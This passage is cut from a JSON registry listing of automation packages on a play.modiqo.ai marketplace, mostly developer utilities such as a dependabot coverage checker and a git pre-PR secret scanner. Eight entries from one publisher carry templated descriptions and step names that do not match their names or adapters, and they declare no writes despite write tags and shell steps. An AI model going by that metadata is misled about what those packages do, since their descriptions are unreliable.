alse,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/redis-cluster-failover-tester@4.15.26","reference":"ankurrawat/redis-cluster-failover-tester@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/redis-cluster-failover-tester@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/redis-cluster-failover-tester@4.15.26","name":"redis-cluster-failover-tester","title":"redis-cluster-failover-tester","description":"High-Throughput Infrastructure & Scaling Engine for redis-cluster-failover-tester: Simulates extreme concurrent load, evaluates Redis token buckets, and benchmarks Kafka event streams.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","redis","cluster","failover","tester"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:52.302045+00:00","visibility":"public","quality_score":1,"size_bytes":513924,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_scaling_scorecard","step_parallel_fanout_execution","step_3_route_kafka_event_stream","step_1_bootstrap_ingress_cluster","step_2_execute_redis_token_bucket","step_4_monitor_backpressure_and_p99","step_5_evaluate_circuit_breaker_state"]},"parameters":[],"execution":{"adapters":[{"id":"chetan/posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dc7782f8b91cd43bbc8e0c58840839d5442c780bb7dafafa8d3ae7060b79a137","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"github","steps":1,"methods":["repos/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/pupeteer-pdf-invoice-generator@4.15.26","reference":"ankurrawat/pupeteer-pdf-invoice-generator@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/pupeteer-pdf-invoice-generator@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/pupeteer-pdf-invoice-generator@4.15.26","name":"pupeteer-pdf-invoice-generator","title":"pupeteer-pdf-invoice-generator","description":"Headless Browser & E2E Auditor for pupeteer-pdf-invoice-generator: Launches headless Chrome/Chromium to audit Core Web Vitals, simulate user journeys, and render PDF reports.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","pupeteer","pdf","invoice","generator"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:40.00564+00:00","visibility":"public","quality_score":1,"size_bytes":514148,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_3_audit_core_web_vitals","step_parallel_fanout_execution","step_1_launch_headless_chromium","step_2_navigate_and_capture_network","step_6_generate_lighthouse_scorecard","step_5_evaluate_accessibility_and_seo","step_4_execute_visual_regression_check"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"},{"id":"hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:835915918b4b2aadef36599c7fb3e0ff247cf75a7a73832205ee5cb291371a22","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"hacker-news-api","steps":1,"methods":["stories/top"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/producthunt-analytics-prober@4.15.26","reference":"ankurrawat/producthunt-analytics-prober@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/producthunt-analytics-prober@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/producthunt-analytics-prober@4.15.26","name":"producthunt-analytics-prober","title":"producthunt-analytics-prober","description":"Domain Analysis & Developer Utility for producthunt-analytics-prober: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","producthunt","analytics","prober","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:36.347047+00:00","visibility":"public","quality_score":1,"size_bytes":513904,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/cloudflare","name":"cloudflare","version":null,"credential_status":"none"},{"id":"ipapi","name":"ipapi","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c8af6502e516da1d79bad32945263816b61714f12bc9df08394678d813b0d4ab","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"ipapi","steps":1,"methods":["ip/lookup"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/playwright-e2e-smoke-runner@4.15.26","reference":"ankurrawat/playwright-e2e-smoke-runner@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/playwright-e2e-smoke-runner@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/playwright-e2e-smoke-runner@4.15.26","name":"playwright-e2e-smoke-runner","title":"playwright-e2e-smoke-runner","description":"Headless Browser & E2E Auditor for playwright-e2e-smoke-runner: Launches headless Chrome/Chromium to audit Core Web Vitals, simulate user journeys, and render PDF reports.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","playwright","e2e","smoke","runner"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:10.734903+00:00","visibility":"public","quality_score":1,"size_bytes":514328,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_3_audit_core_web_vitals","step_parallel_fanout_execution","step_1_launch_headless_chromium","step_2_navigate_and_capture_network","step_6_generate_lighthouse_scorecard","step_5_evaluate_accessibility_and_seo","step_4_execute_visual_regression_check"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e482cd9acc343ef85bd113daba038e11da559b53d4bb9da6367c3791731dc385","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"github","steps":1,"methods":["repos/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/lighthouse-cwv-visual-auditor@4.15.26","reference":"ankurrawat/lighthouse-cwv-visual-auditor@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/lighthouse-cwv-visual-auditor@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/lighthouse-cwv-visual-auditor@4.15.26","name":"lighthouse-cwv-visual-auditor","title":"lighthouse-cwv-visual-auditor","description":"Headless Browser & E2E Auditor for lighthouse-cwv-visual-auditor: Launches headless Chrome/Chromium to audit Core Web Vitals, simulate user journeys, and render PDF reports.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","lighthouse","cwv","visual","auditor"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:48.317012+00:00","visibility":"public","quality_score":1,"size_bytes":514168,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_3_audit_core_web_vitals","step_parallel_fanout_execution","step_1_launch_headless_chromium","step_2_navigate_and_capture_network","step_6_generate_lighthouse_scorecard","step_5_evaluate_accessibility_and_seo","step_4_execute_visual_regression_check"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"},{"id":"hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ae3d56fa6491b1d0b7bfd158633511fab47a13ab97f9e2ba8a24aa9f8d32ea95","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"hacker-news-api","steps":1,"methods":["stories/top"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/hacker-news-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/graphql-query-depth-limiter@4.15.26","reference":"ankurrawat/graphql-query-depth-limiter@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/graphql-query-depth-limiter@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/graphql-query-depth-limiter@4.15.26","name":"graphql-query-depth-limiter","title":"graphql-query-depth-limiter","description":"Domain Analysis & Developer Utility for graphql-query-depth-limiter: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","graphql","query","depth","limiter"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:19.523064+00:00","visibility":"public","quality_score":1,"size_bytes":514084,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:aff6c5f6a5a6d1e37cb3c10b0d8bf79affefabd802aca1b6bc52abe108833b1f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"open-meteo","steps":1,"methods":["forecast/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/open-meteo","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/golang-high-speed-proxy-guard@4.15.26","reference":"ankurrawat/golang-high-speed-proxy-guard@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/golang-high-speed-proxy-guard@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/golang-high-speed-proxy-guard@4.15.26","name":"golang-high-speed-proxy-guard","title":"golang-high-speed-proxy-guard","description":"Security & Governance Sentinel for golang-high-speed-proxy-guard: Scans authorization tokens, inspects protocol payloads, checks CORS policies, and mitigates OWASP Top 10 vulnerabilities.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","golang","high","speed","proxy"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:48:59.798204+00:00","visibility":"public","quality_score":1,"size_bytes":514032,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_security_advisory","step_4_evaluate_firewall_rules","step_parallel_fanout_execution","step_2_verify_vault_credentials","step_1_initialize_security_scanner","step_5_audit_compliance_benchmarks","step_3_execute_deep_vulnerability_scan"]},"parameters":[],"execution":{"adapters":[{"id":"samarthmm/slack","name":"slack","version":null,"credential_status":"none"},{"id":"slack","name":"slack","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a4260e9cd4643424a2035c8f618dfd645c095cf982f23ca8a2d569b614ff21ef","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"slack","steps":1,"methods":["channels/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"samarthmm/slack","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/bundlephobia-size-budget-check@4.15.26","reference":"ankurrawat/bundlephobia-size-budget-check@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/bundlephobia-size-budget-check@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/bundlephobia-size-budget-check@4.15.26","name":"bundlephobia-size-budget-check","title":"bundlephobia-size-budget-check","description":"Domain Analysis & Developer Utility for bundlephobia-size-budget-check: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","bundlephobia","size","budget","check"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:47:46.319553+00:00","visibility":"public","quality_score":1,"size_bytes":514120,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"},{"id":"notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fe03e496f487980c113ac2ec16d5424bb3a54713d06fa509bf734c98b5d87b02","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"notion-mcp","steps":1,"methods":["databases/query"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/notion-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/pugarhuda/dependabot-coverage@0.2.0","reference":"pugarhuda/dependabot-coverage@0.2.0","uri":"https://play.modiqo.ai/pugarhuda/dependabot-coverage@0.2.0","manifest_uri":"https://play.modiqo.ai/pugarhuda/dependabot-coverage@0.2.0","name":"dependabot-coverage","title":"dependabot-coverage","description":"Which package ecosystems in a repository does the update bot actually watch? Read-only, no credentials, no adapters, and nothing the repository ships is ever executed. A dependabot.yml is written once for the root package.json and then the repository grows a Dockerfile, a GitHub Actions workflow, a Python service in api/, a Terraform module and three workspace packages — none of which the bot ever updates, because each ecosystem and directory needs its own entry. This walks the tree for every manifest directory (npm, pip, gomod, cargo, bundler, composer, maven, gradle, docker, github-actions, terraform, nuget, mix, pub, swift, devcontainers), reads the updates entries in .github/dependabot.yml — directory, directories globs, interval, open-pull-requests-limit — and a renovate config when present (enabledManagers and ignorePaths honoured), and reports which ecosystem/directory pairs are covered and at what cadence, which are uncovered, which are matched only by an entry with open-pull-requests-limit 0 (security updates only, no version updates), and which entries point at directories that hold no manifest of that ecosystem any more. A coverage percentage closes it. What it cannot know is printed — whether Dependabot is switched on in the repository settings, private registry credentials, and manifests deeper than four directories. A local path is inspected in place; a URL is shallow-cloned to a temp directory.","owner":{"kind":"user","slug":"pugarhuda"},"registry_organization":"pugarhuda","tags":["domain-supply-chain","job-dependency-review","audience-developers","effect-read-only"],"primary_domain":"domain-supply-chain","author":"pugarhuda","version":"0.2.0","published_at":"2026-09-06T13:21:37.504609+00:00","visibility":"public","quality_score":1,"size_bytes":9274,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["audit","resolve"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Repository to audit: a git URL (https://, ssh://, git@host:owner/name) or a path to a local checkout","example":"https://github.com/cli/cli"},{"name":"branch","type":"string","required":false,"default":"","description":"Branch or tag to inspect. Ignored for a local path; defaults to the repository default branch."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cad9238707425c09fefda9791de983f67fdf1cedf12920d6d8bb8ab2002c2221","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/prove-ticket/prove-the-ticket@0.1.3","reference":"prove-ticket/prove-the-ticket@0.1.3","uri":"https://play.modiqo.ai/prove-ticket/prove-the-ticket@0.1.3","manifest_uri":"https://play.modiqo.ai/prove-ticket/prove-the-ticket@0.1.3","name":"prove-the-ticket","title":"prove-the-ticket","description":"Green tests don’t prove you checked the right GitHub issue against the right code. Point this at a public issue URL and your local Node project. It shows the checks, you approve, then it runs them in a sandbox with no internet and prints a short result card. Linux + Node only for now. It never writes to GitHub.","owner":{"kind":"user","slug":"prove-ticket"},"registry_organization":"prove-ticket","tags":["github","node","linux","verification","proof"],"primary_domain":"domain-uncategorized","author":"prove-ticket","version":"0.1.3","published_at":"2026-09-06T13:03:19.47188+00:00","visibility":"public","quality_score":0.875,"size_bytes":32310,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["prove_issue"]},"parameters":[{"name":"issue_url","type":"string","required":true,"description":"Public GitHub issue link"},{"name":"checkout_path","type":"string","required":true,"description":"Absolute path to your local Node project"},{"name":"confirm_criteria","type":"string","required":true,"description":"Type yes after you review the criteria"},{"name":"approve_plan","type":"string","required":true,"description":"Type yes after you review the command plan"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:723f23dd31ef53f36bc30af32ce6d881947093802320a7713698a5e89c430f3d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/playbookacademy/context-guard@1.0.2","reference":"playbookacademy/context-guard@1.0.2","uri":"https://play.modiqo.ai/playbookacademy/context-guard@1.0.2","manifest_uri":"https://play.modiqo.ai/playbookacademy/context-guard@1.0.2","name":"context-guard","title":"context-guard","description":"Context overflow risk scanner for LLM applications. Scans source code for large system prompts, hardcoded context limits, truncation patterns, and inefficient history management. Returns a deterministic verdict (CLEAN / CAUTION / WARNING / CRITICAL) with categorized findings and prioritized recommendations. Read-only, no credentials.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-devtools","job-context-guard","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-devtools","author":"playbookacademy","version":"1.0.2","published_at":"2026-09-06T12:26:11.057576+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8102,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["scan_context","generate_report","analyze_overflow"]},"parameters":[{"name":"directory","type":"string","required":true,"description":"Path to source directory to scan","example":"./src"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c896654a1bc26f7a64db1b0b3ce682a42a58bc930b47cee3526e59a5f3013cd0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/analytics-check@0.4.0","reference":"dezloper/analytics-check@0.4.0","uri":"https://play.modiqo.ai/dezloper/analytics-check@0.4.0","manifest_uri":"https://play.modiqo.ai/dezloper/analytics-check@0.4.0","name":"analytics-check","title":"analytics-check","description":"Tells you whether PostHog, Umami, Vercel Analytics, Microsoft Clarity, Plausible or Google Analytics 4 are actually collecting data, not just installed, and can set them up for you. Supports Next.js (app and pages router), Vite plus React, Astro and SvelteKit, each using that framework's real idiom rather than one generic snippet: a React-context Provider wrapping the page in Next.js, wrapping the root render() call in Vite, plain script-tag initialisation in Astro and SvelteKit since those have no component tree to wrap. A provider only works when three things agree: the package or script tag is present, the code mounts it, and the key it reads is actually set. The common failure is invisible: fully installed and mounted, silently recording nothing because the environment variable was never set. The key name is read out of your own code rather than guessed, so a custom variable name is still recognised correctly. Pass add=<provider> (comma-separated for more than one) to set one up: with apply=true it creates the file, appends the missing environment keys to .env.local blank so you only have to paste in the real value, and mounts it, wiring existing setups when it can do so unambiguously. A mount point that is genuinely ambiguous, or a framework this play has no dedicated integration for, is left completely untouched and named in the report rather than guessed at, because a wrong edit to hand-written source is worse than no edit. Every file write is additive and every write that fails (a read-only file, a permissions error) is reported cleanly rather than crashing the run. The default apply=false only prints what would be done. In a monorepo it points you at the app folder instead of scanning the root.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-gated-write","job-analytics-audit","tool-posthog","tool-vercel"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.4.0","published_at":"2026-09-06T10:58:00.901597+00:00","visibility":"public","quality_score":1,"size_bytes":27628,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":6,"names":["assess","scan_env","scan_code","apply_setup","validate_project","scan_dependencies"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"The web app to check. Defaults to the directory you run it from. In a monorepo, point this at the app folder."},{"name":"add","type":"string","required":false,"default":"","description":"Comma-separated provider ids to set up: posthog, umami, vercel, clarity, plausible, ga4."},{"name":"apply","type":"string","required":false,"default":"false","description":"Set true to actually write the files, insert the mount code, and append blank env keys for the providers in add=. Default false only prints what would be done. This is a fixed true/false choice -- when asking the user, present it as a selectable option, never as a free-text question.","values":["false","true"],"example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4b7d04b08851434301abe4abc1f826dd574bcc0fdee5bebb55dae41a36817928","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":3,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/vishal-kumar9032/git-preflight@0.1.3","reference":"vishal-kumar9032/git-preflight@0.1.3","uri":"https://play.modiqo.ai/vishal-kumar9032/git-preflight@0.1.3","manifest_uri":"https://play.modiqo.ai/vishal-kumar9032/git-preflight@0.1.3","name":"git-preflight","title":"git-preflight","description":"Pre-PR safety radar and diff risk assessment: detects leaked secrets, leftover debug statements, merge conflict markers, blast radius, test gaps, and generates copy-paste PR markdown. Offline, zero credentials, zero network.","owner":{"kind":"user","slug":"vishal-kumar9032"},"registry_organization":"vishal-kumar9032","tags":["git","pr","code-review","security","devops","offline"],"primary_domain":"domain-uncategorized","author":"23wj1a7243","version":"0.1.3","published_at":"2026-09-06T10:56:45.687138+00:00","visibility":"public","quality_score":1,"size_bytes":9273,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["audit","selfcheck"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Absolute path to the git repo to audit. Always pass root=$(pwd) to point at your current directory, e.g. rote play run vishal-kumar9032/git-preflight root=$(pwd) --yes"},{"name":"base_branch","type":"string","required":false,"default":"auto","description":"Target base branch for comparison (e.g. main, master, or auto-detect)."},{"name":"strict_secrets","type":"string","required":false,"default":"yes","description":"Block immediately on detected secrets or private keys (yes/no)."},{"name":"format","type":"string","required":false,"default":"markdown","description":"Output presentation style (markdown, text, 